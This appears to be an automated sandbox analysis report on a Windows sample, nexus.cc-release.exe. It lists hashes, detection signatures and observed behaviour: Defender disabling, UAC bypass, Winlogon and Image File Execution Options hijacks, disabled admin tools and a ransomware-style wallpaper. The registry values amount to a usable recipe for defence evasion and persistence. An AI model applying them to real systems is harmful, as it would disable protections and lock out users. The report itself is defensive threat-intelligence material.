Analysis
- geolocation tags
cacanadananorth-americatoronto - user interaction
yes - max time kernel
169s - max time network
115s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
16/09/2026, 12:18
Static task
static1
Behavioral task
behavioral1
Sample
nexus.cc-release.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
nexus.cc-release.exe
Resource
win11ltsc2024-20260911-en
Errors
General
- Target nexus.cc-release.exe
- Size 16.2MB
- Sample260916-pgzabazerd
- SHA256 6fa4c734f0dfe1e760b23cc43a79a8668a90b7226229998d8101f85c7c36b3e3
- MD5 bdea275317bad05342833ffbe6991816
- SHA1 0d2e638a3d82cf9f927ec71e4e4bfb77b20d4ca5
- SHA512 7cddaebc49426d14371374cb97171ec9dd117d0180d3622f8ad9ab28bdaa704652b98b70cad257380a049d5c11fa944d1e9970e1f7e87c0ee730d9f1d5d0f324
- SSDEEP 49152:1xn9du9BJAiiWGgt9IPXY32Z0PYriUTkqyDaDXVLh5PAzuKTW/UMXkRRJzS6i0s1:1x9
- TLSH T154073038B9D518BE7B6759EE87F63A9D5909F3BBB3065D7C20B2314A43039098CE4724
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/1728-2-0x00000000002A0000-0x00000000012D0000-memory.dmp disable_win_def behavioral2/files/0x000d00000001c4f5-8.dat disable_win_def - Modifies WinLogon for persistence 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,\"C:\\Windows\\system32\\drivers\\etc\\svchost32.exe\"" svchost32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,\"C:\\Windows\\system32\\drivers\\etc\\svchost32.exe\"," svchost32.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" svchost32.exe - Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" svchost32.exe - UAC bypass 3 TTPs 4 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0" svchost32.exe - Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Active Setup\Installed Components Explorer.EXE - Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Run Powershell and hide display window.
pid Process 1556 powershell.exe 3136 powershell.exe 940 powershell.exe 5984 powershell.exe 3868 powershell.exe 1168 powershell.exe - Disables RegEdit via registry modification 2 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" svchost32.exe Set value (int) \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" svchost32.exe - Disables Task Manager via registry modification
- Disables cmd.exe use via registry modification 2 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableCMD = "1" svchost32.exe - Drops file in Drivers directory 7 IoCs
description ioc Process File created C:\Windows\system32\drivers\etc\$unlocker_id.ux-cryptobytes nexus.cc-release.exe File opened for modification C:\Windows\system32\drivers\etc\$unlocker_id.ux-cryptobytes nexus.cc-release.exe File created C:\Windows\system32\drivers\etc\$boot_marker.tmp nexus.cc-release.exe File opened for modification C:\Windows\system32\drivers\etc\$boot_marker.tmp nexus.cc-release.exe File created C:\Windows\system32\drivers\etc\svchost32.exe nexus.cc-release.exe File opened for modification C:\Windows\system32\drivers\etc\svchost32.exe nexus.cc-release.exe File created C:\Windows\system32\drivers\etc\$boot_marker.tmp svchost32.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 34 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe svchost32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe svchost32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe\Debugger = "wscript.exe \"C:\\Users\\Admin\\AppData\\Local\\Temp\\catcrypt_show.vbs\"" svchost32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\resmon.exe\Debugger = "wscript.exe \"C:\\Users\\Admin\\AppData\\Local\\Temp\\catcrypt_show.vbs\"" svchost32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\devmgmt.msc\Debugger = "wscript.exe \"C:\\Users\\Admin\\AppData\\Local\\Temp\\catcrypt_show.vbs\"" svchost32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe\Debugger = "wscript.exe \"C:\\Users\\Admin\\AppData\\Local\\Temp\\catcrypt_show.vbs\"" svchost32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pwsh.exe\Debugger = "wscript.exe \"C:\\Users\\Admin\\AppData\\Local\\Temp\\catcrypt_show.vbs\"" svchost32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\eventvwr.exe svchost32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\eventvwr.exe\Debugger = "wscript.exe \"C:\\Users\\Admin\\AppData\\Local\\Temp\\catcrypt_show.vbs\"" svchost32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe svchost32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gpedit.msc\Debugger = "wscript.exe \"C:\\Users\\Admin\\AppData\\Local\\Temp\\catcrypt_show.vbs\"" svchost32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe svchost32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\control.exe svchost32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskmgmt.msc\Debugger = "wscript.exe \"C:\\Users\\Admin\\AppData\\Local\\Temp\\catcrypt_show.vbs\"" svchost32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pwsh.exe svchost32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe svchost32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "wscript.exe \"C:\\Users\\Admin\\AppData\\Local\\Temp\\catcrypt_show.vbs\"" svchost32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskschd.msc\Debugger = "wscript.exe \"C:\\Users\\Admin\\AppData\\Local\\Temp\\catcrypt_show.vbs\"" svchost32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\devmgmt.msc svchost32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe svchost32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "wscript.exe \"C:\\Users\\Admin\\AppData\\Local\\Temp\\catcrypt_show.vbs\"" svchost32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe svchost32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\compmgmt.msc\Debugger = "wscript.exe \"C:\\Users\\Admin\\AppData\\Local\\Temp\\catcrypt_show.vbs\"" svchost32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "wscript.exe \"C:\\Users\\Admin\\AppData\\Local\\Temp\\catcrypt_show.vbs\"" svchost32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "wscript.exe \"C:\\Users\\Admin\\AppData\\Local\\Temp\\catcrypt_show.vbs\"" svchost32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\resmon.exe svchost32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.msc svchost32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\compmgmt.msc svchost32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gpedit.msc svchost32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "wscript.exe \"C:\\Users\\Admin\\AppData\\Local\\Temp\\catcrypt_show.vbs\"" svchost32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskschd.msc svchost32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\control.exe\Debugger = "wscript.exe \"C:\\Users\\Admin\\AppData\\Local\\Temp\\catcrypt_show.vbs\"" svchost32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.msc\Debugger = "wscript.exe \"C:\\Users\\Admin\\AppData\\Local\\Temp\\catcrypt_show.vbs\"" svchost32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskmgmt.msc svchost32.exe - Executes dropped EXE 4 IoCs
pid Process 1380 svchost32.exe 1016 svchost32.exe 1096 svchost32.exe 5868 svchost32.exe - Stops running service(s) 4 TTPs
- Checks whether UAC is enabled 1 TTPs 2 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" svchost32.exe - Drops desktop.ini file(s) 3 IoCs
description ioc Process File opened for modification C:\Users\Admin\Pictures\desktop.ini explorer.exe File opened for modification C:\Users\Public\desktop.ini explorer.exe File opened for modification C:\Users\Public\Pictures\desktop.ini explorer.exe - Enumerates connected drives 3 TTPs 2 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\F: Explorer.EXE File opened (read-only) \??\E: Explorer.EXE - Indicator Removal: Clear Persistence 1 TTPs 1 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 3800 cmd.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
pid Process 3484 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper_catcrypt.jpg" svchost32.exe - Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 2888 sc.exe 4556 sc.exe 5940 sc.exe 5712 sc.exe 1080 sc.exe 2040 sc.exe 6052 sc.exe 3600 sc.exe 1468 sc.exe 3692 sc.exe 3184 sc.exe 5912 sc.exe 1528 sc.exe 5456 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 15 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2724 cmd.exe 4736 cmd.exe 2120 cmd.exe 4856 cmd.exe 608 cmd.exe 2044 cmd.exe 5880 cmd.exe 3584 cmd.exe 5996 cmd.exe 2552 cmd.exe 4792 cmd.exe 5592 cmd.exe 3812 cmd.exe 4328 cmd.exe 1536 cmd.exe - Checks SCSI registry key(s) 3 TTPs 8 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0009 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000 svchost.exe - Kills process with taskkill 1 IoCs
pid Process 5480 taskkill.exe - Modifies Control Panel 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Control Panel\Desktop\WallpaperStyle = "10" svchost32.exe Set value (str) \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Control Panel\Desktop\TileWallpaper = "0" svchost32.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Internet Explorer\Toolbar explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1" explorer.exe - Modifies registry class 27 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings wscript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ Explorer.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ Explorer.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\ Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings explorer.exe Key created \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\NotificationData explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell Explorer.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\ Explorer.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\ Explorer.EXE Key created \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1CF1260C-4DD0-4ebb-811F-33C572699FDE}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{374DE290-123F-4565-9164-39C4925E467B}\Instance\ explorer.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1704430598-3087477806-3297458608-1000\{ADDDA6C4-D371-4269-A7A3-10F494CA4966} Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 Explorer.EXE Set value (data) \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff Explorer.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ Explorer.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A0953C92-50DC-43bf-BE83-3742FED03C9C}\Instance\ Explorer.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02 explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-1704430598-3087477806-3297458608-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff explorer.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3ADD1653-EB32-4cb0-BBD7-DFA0ABB5ACCA}\Instance\ explorer.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5456 schtasks.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4436 explorer.exe - Suspicious behavior: EnumeratesProcesses 34 IoCs
pid Process 1556 powershell.exe 1556 powershell.exe 3136 powershell.exe 3136 powershell.exe 3136 powershell.exe 940 powershell.exe 940 powershell.exe 940 powershell.exe 5984 powershell.exe 5984 powershell.exe 5984 powershell.exe 3868 powershell.exe 3868 powershell.exe 3868 powershell.exe 1168 powershell.exe 1168 powershell.exe 1168 powershell.exe 1380 svchost32.exe 1380 svchost32.exe 1380 svchost32.exe 1380 svchost32.exe 1380 svchost32.exe 1380 svchost32.exe 1380 svchost32.exe 1380 svchost32.exe 1380 svchost32.exe 1380 svchost32.exe 1380 svchost32.exe 1380 svchost32.exe 1380 svchost32.exe 1380 svchost32.exe 1380 svchost32.exe 684 mspaint.exe 684 mspaint.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4436 explorer.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 1556 powershell.exe Token: SeIncreaseQuotaPrivilege 1556 powershell.exe Token: SeSecurityPrivilege 1556 powershell.exe Token: SeTakeOwnershipPrivilege 1556 powershell.exe Token: SeLoadDriverPrivilege 1556 powershell.exe Token: SeSystemProfilePrivilege 1556 powershell.exe Token: SeSystemtimePrivilege 1556 powershell.exe Token: SeProfSingleProcessPrivilege 1556 powershell.exe Token: SeIncBasePriorityPrivilege 1556 powershell.exe Token: SeCreatePagefilePrivilege 1556 powershell.exe Token: SeBackupPrivilege 1556 powershell.exe Token: SeRestorePrivilege 1556 powershell.exe Token: SeShutdownPrivilege 1556 powershell.exe Token: SeDebugPrivilege 1556 powershell.exe Token: SeSystemEnvironmentPrivilege 1556 powershell.exe Token: SeRemoteShutdownPrivilege 1556 powershell.exe Token: SeUndockPrivilege 1556 powershell.exe Token: SeManageVolumePrivilege 1556 powershell.exe Token: 33 1556 powershell.exe Token: 34 1556 powershell.exe Token: 35 1556 powershell.exe Token: 36 1556 powershell.exe Token: SeDebugPrivilege 3136 powershell.exe Token: SeIncreaseQuotaPrivilege 3136 powershell.exe Token: SeSecurityPrivilege 3136 powershell.exe Token: SeTakeOwnershipPrivilege 3136 powershell.exe Token: SeLoadDriverPrivilege 3136 powershell.exe Token: SeSystemProfilePrivilege 3136 powershell.exe Token: SeSystemtimePrivilege 3136 powershell.exe Token: SeProfSingleProcessPrivilege 3136 powershell.exe Token: SeIncBasePriorityPrivilege 3136 powershell.exe Token: SeCreatePagefilePrivilege 3136 powershell.exe Token: SeBackupPrivilege 3136 powershell.exe Token: SeRestorePrivilege 3136 powershell.exe Token: SeShutdownPrivilege 3136 powershell.exe Token: SeDebugPrivilege 3136 powershell.exe Token: SeSystemEnvironmentPrivilege 3136 powershell.exe Token: SeRemoteShutdownPrivilege 3136 powershell.exe Token: SeUndockPrivilege 3136 powershell.exe Token: SeManageVolumePrivilege 3136 powershell.exe Token: 33 3136 powershell.exe Token: 34 3136 powershell.exe Token: 35 3136 powershell.exe Token: 36 3136 powershell.exe Token: SeDebugPrivilege 940 powershell.exe Token: SeIncreaseQuotaPrivilege 940 powershell.exe Token: SeSecurityPrivilege 940 powershell.exe Token: SeTakeOwnershipPrivilege 940 powershell.exe Token: SeLoadDriverPrivilege 940 powershell.exe Token: SeSystemProfilePrivilege 940 powershell.exe Token: SeSystemtimePrivilege 940 powershell.exe Token: SeProfSingleProcessPrivilege 940 powershell.exe Token: SeIncBasePriorityPrivilege 940 powershell.exe Token: SeCreatePagefilePrivilege 940 powershell.exe Token: SeBackupPrivilege 940 powershell.exe Token: SeRestorePrivilege 940 powershell.exe Token: SeShutdownPrivilege 940 powershell.exe Token: SeDebugPrivilege 940 powershell.exe Token: SeSystemEnvironmentPrivilege 940 powershell.exe Token: SeRemoteShutdownPrivilege 940 powershell.exe Token: SeUndockPrivilege 940 powershell.exe Token: SeManageVolumePrivilege 940 powershell.exe Token: 33 940 powershell.exe Token: 34 940 powershell.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 4436 explorer.exe 5528 Explorer.EXE - Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 4436 explorer.exe 684 mspaint.exe 684 mspaint.exe 684 mspaint.exe 684 mspaint.exe - Suspicious use of WriteProcessMemory 44 IoCs
description pid Process procid_target PID 1728 wrote to memory of 1380 1728 nexus.cc-release.exe 87 PID 1380 wrote to memory of 3800 1380 svchost32.exe 88 PID 3800 wrote to memory of 4048 3800 cmd.exe 90 PID 1380 wrote to memory of 4792 1380 svchost32.exe 91 PID 1380 wrote to memory of 1556 1380 svchost32.exe 93 PID 4792 wrote to memory of 5456 4792 cmd.exe 95 PID 1380 wrote to memory of 3136 1380 svchost32.exe 102 PID 1380 wrote to memory of 940 1380 svchost32.exe 105 PID 1380 wrote to memory of 5984 1380 svchost32.exe 107 PID 1380 wrote to memory of 3868 1380 svchost32.exe 109 PID 1380 wrote to memory of 1168 1380 svchost32.exe 111 PID 1380 wrote to memory of 4736 1380 svchost32.exe 113 PID 4736 wrote to memory of 3692 4736 cmd.exe 115 PID 1380 wrote to memory of 5592 1380 svchost32.exe 116 PID 5592 wrote to memory of 5940 5592 cmd.exe 118 PID 1380 wrote to memory of 3812 1380 svchost32.exe 119 PID 3812 wrote to memory of 3184 3812 cmd.exe 121 PID 1380 wrote to memory of 2120 1380 svchost32.exe 122 PID 2120 wrote to memory of 5712 2120 cmd.exe 124 PID 1380 wrote to memory of 5880 1380 svchost32.exe 125 PID 5880 wrote to memory of 5912 5880 cmd.exe 127 PID 1380 wrote to memory of 3584 1380 svchost32.exe 128 PID 3584 wrote to memory of 1080 3584 cmd.exe 130 PID 1380 wrote to memory of 5996 1380 svchost32.exe 131 PID 5996 wrote to memory of 1528 5996 cmd.exe 133 PID 1380 wrote to memory of 4856 1380 svchost32.exe 134 PID 4856 wrote to memory of 5456 4856 cmd.exe 136 PID 1380 wrote to memory of 1536 1380 svchost32.exe 137 PID 1536 wrote to memory of 2888 1536 cmd.exe 139 PID 1380 wrote to memory of 4328 1380 svchost32.exe 140 PID 4328 wrote to memory of 4556 4328 cmd.exe 142 PID 1380 wrote to memory of 2724 1380 svchost32.exe 143 PID 2724 wrote to memory of 2040 2724 cmd.exe 145 PID 1380 wrote to memory of 608 1380 svchost32.exe 146 PID 608 wrote to memory of 6052 608 cmd.exe 148 PID 1380 wrote to memory of 2552 1380 svchost32.exe 149 PID 2552 wrote to memory of 3600 2552 cmd.exe 151 PID 1380 wrote to memory of 2044 1380 svchost32.exe 152 PID 2044 wrote to memory of 1468 2044 cmd.exe 154 PID 1380 wrote to memory of 5480 1380 svchost32.exe 156 PID 1380 wrote to memory of 3484 1380 svchost32.exe 158 PID 6136 wrote to memory of 5528 6136 userinit.exe 162 PID 6136 wrote to memory of 5868 6136 userinit.exe 163 PID 3484 wrote to memory of 684 3484 wscript.exe 164 - System policy modification 1 TTPs 22 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableChangePassword = "1" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSleep = "1" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogoff = "1" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\WindowsPowerShell\EnableScripts = "0" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\WindowsPowerShell\DisableCommandLine = "1" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr = "1" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableLockWorkstation = "1" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose = "1" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRestart = "1" svchost32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\NoRun = "1" svchost32.exe Set value (int) 